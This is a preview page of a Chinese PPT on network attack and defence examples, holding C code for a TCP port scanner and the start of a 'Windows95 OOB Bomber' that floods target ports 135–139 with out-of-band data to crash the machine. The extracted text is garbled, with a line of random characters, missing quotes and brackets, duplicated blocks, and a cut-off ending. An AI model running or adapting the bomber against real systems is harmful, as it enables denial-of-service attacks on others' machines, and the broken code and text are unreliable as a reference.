网络攻击与防御实例.ppt
文本预览下载声明
网络攻防技术实例;一、扫描器程序设计;赌矫嗽妓达向陡缎九诗剧灼黎屡桓胀火凌销呢顾矣陈怖甜祷弃颓盔狰厨恶网络攻击与防御实例网络攻击与防御实例;#includewinsock2.h //包含windows套接字函数
#includestdio.h
#pragma comment(lib,ws2_32)
//将注释wsock32放置到lib文件中
#includestdlib.h
#includewindows.h
void main()
{WSADATA ws;
//将ws的数据类型声明为WSADATA
SOCKET s;
struct sockaddr_in addr;
//系统保存套接字地址的结构体
int g1,k;
long g2;
printf(请输入要监测最大的端口号\n);
scanf(%d,k);
;//下面用connect与端口建立连接,如果可以连接表示端口开启,否则关闭
for(int i=1;ik;i++) //循环1到k个端口
{g2=WSAStartup(0x0101,ws);
s=socket(PF_INET,SOCK_STREAM,0);
//创建套接字,TCP/IP协议,流Socket
addr.sin_family=PF_INET; //规定使用IPv4协议
addr.sin_addr.s_addr=inet_addr(10.1.8.**);
//指定为IP为10.1.8.**,实验时可以更改
addr.sin_port=htons(i); //端口号
if(s= =INVALID_SOCKET) break;
//如果socket没有连接上,退出
g1=connect(s,(struct sockaddr*)addr,sizeof(addr));
//建立连接,判断端口是否关闭
;if(g1!=0)
{printf(2:%i 端口关闭\n,i); //指定的端口关闭
WSACleanup();}
else {
printf(10.1.8.**:%i 端口开启\n,i); }//指定的端口开放
closesocket(s); //关闭套接字
} }
;二、OOB网络炸弹攻击编程;该程序是用Visual C++6.0语言设计的,使用Scoket套接字的通信形式,利用数据包频繁的发送,造成接受方系统瘫痪。
#includewindows.h
#includewinsock.h
#includestdio.h
#pragma comment(lib,wsock32.lib)
/*定义攻击目标计算机的IP地址*/
char *IpAddr;
int IpPort;//进攻端口135或137或139
char *Msg= You are bombed!;
/*在被攻击者计算机上显示You are bombed!字符串*/
;void Banner(void)
{
/*被段显示攻击者信息*/
printf(Windows95 OOB Bomber by jiaocang);
}
int main(int argc,char *argv[])
{/*开始定义变量*/
struct sockaddr_in sin;
WSADATA wsaData;
SOCKET sd;
Banner();/*显示攻击者信息*/
;{
printf(usage:OOB Ip Port 135);
return 1;
}
?
IpAddr=argv[1];
IpPort=atoi(argv[2]);
/*初始化winsock*/
if(WSAStartup(MAKEWORD(2,2),wsaData)!=0)
{
printf(init socket error!);
return 1;
};IpAddr=argv[1];
IpPort=atoi(argv[2]);
/*初始化winsock*/
If(WSAStartup(0x0101,wsaData)
//函数WSAStartup()初始化Windows Socket API,参数WAVES指定为winsock版本,参数wsadata指定为返回WSADATA的数据类型
{printf(“Init TCP/IP stack error!”);
Return 1;
}
;}
if(wsaData.wVersion!=0x0101)
{printf(Winsock version is incorrect);
//*版本有错误,无法通信*/
WSACleanup(); //函数WSACleanup()关闭Socket套接字//
return 1;
}
?
if((sd=socket(AF_INET,SOCK_STREAM,IPPROTO_IP))= =IN
显示全部